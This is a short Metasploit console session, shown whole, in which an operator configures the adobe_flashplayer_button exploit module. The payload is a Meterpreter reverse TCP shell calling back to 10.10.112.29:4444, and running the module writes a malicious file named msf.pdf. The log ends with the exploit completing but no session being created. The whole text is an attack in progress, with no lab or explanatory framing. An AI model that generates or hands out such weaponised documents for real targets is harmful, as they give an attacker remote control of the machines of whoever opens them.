msf exploit(adobe_flashplayer_button) > how options
[-] Unknown command: how.
msf exploit(adobe_flashplayer_button) > show options

Module options:

   Name        Current Setting                      Required  Description
   ----        ---------------                      --------  -----------
   FILENAME    msf.pdf                              yes       The file name.
   OUTPUTPATH  /opt/metasploit3/msf3/data/exploits  yes       The location of the file.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     10.10.112.29     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(adobe_flashplayer_button) > exploit

[*] Creating 'msf.pdf' file...
[*] Generated output file /opt/metasploit3/msf3/data/exploits/msf.pdf
[*] Exploit completed, but no session was created.
msf exploit(adobe_flashplayer_button) >